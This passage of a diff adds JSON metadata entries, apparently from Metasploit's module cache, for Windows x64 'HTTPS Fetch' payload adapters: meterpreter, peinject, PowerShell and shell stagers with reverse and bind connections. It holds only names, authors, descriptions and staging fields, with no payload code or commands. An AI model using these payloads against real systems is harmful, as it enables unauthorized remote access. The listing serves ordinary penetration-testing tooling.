"default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_winhttp": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" + }, + "payload_cmd/windows/https/x64/meterpreter/reverse_winhttps": { + "name": "HTTPS Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/https/x64/meterpreter/reverse_winhttps", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter/reverse_winhttps", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" + }, + "payload_cmd/windows/https/x64/meterpreter_bind_named_pipe": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "UserExistsError", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter_bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_bind_named_pipe", + "staged": false + }, + "payload_cmd/windows/https/x64/meterpreter_bind_tcp": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_bind_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/meterpreter_reverse_http": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_http", + "staged": false + }, + "payload_cmd/windows/https/x64/meterpreter_reverse_https": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_https", + "staged": false + }, + "payload_cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_ipv6_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", + "fullname": "payload/cmd/windows/https/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "OJ Reeves", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", + "references": [ + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" + }, + "payload_cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/https/x64/peinject/bind_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "UserExistsError" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a pipe connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" + }, + "payload_cmd/windows/https/x64/peinject/bind_tcp": { + "name": "HTTPS Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" + }, + "payload_cmd/windows/https/x64/peinject/bind_tcp_rc4": { + "name": "HTTPS Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" + }, + "payload_cmd/windows/https/x64/peinject/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/peinject/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nListen for a connection with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" + }, + "payload_cmd/windows/https/x64/peinject/reverse_named_pipe": { + "name": "HTTPS Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_named_pipe", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker via a named pipe pivot", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_named_pipe", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" + }, + "payload_cmd/windows/https/x64/peinject/reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" + }, + "payload_cmd/windows/https/x64/peinject/reverse_tcp_rc4": { + "name": "HTTPS Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_rc4", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "hdm ", + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_tcp_rc4", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" + }, + "payload_cmd/windows/https/x64/peinject/reverse_tcp_uuid": { + "name": "HTTPS Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/https/x64/peinject/reverse_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ege ", + "sf ", + "OJ Reeves" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/peinject/reverse_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" + }, + "payload_cmd/windows/https/x64/pingback_reverse_tcp": { + "name": "HTTPS Fetch, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/https/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and Execute an x64 payload from an https server.\n\nConnect back to attacker and report UUID (Windows x64)", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/powershell_bind_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/windows/https/x64/powershell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/powershell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/powershell_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/powershell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false + }, + "payload_cmd/windows/https/x64/powershell_reverse_tcp_ssl": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/windows/https/x64/powershell_reverse_tcp_ssl", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Ben Turner", + "Dave Hardy", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https server", + "references": [ + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/windows/https/x64/powershell_reverse_tcp_ssl", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/https/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false + }, + "payload_cmd/windows/https/x64/shell/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/https/x64/shell/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "sf " + ], + "description": "Fetch and Execute an x64 payload from an https 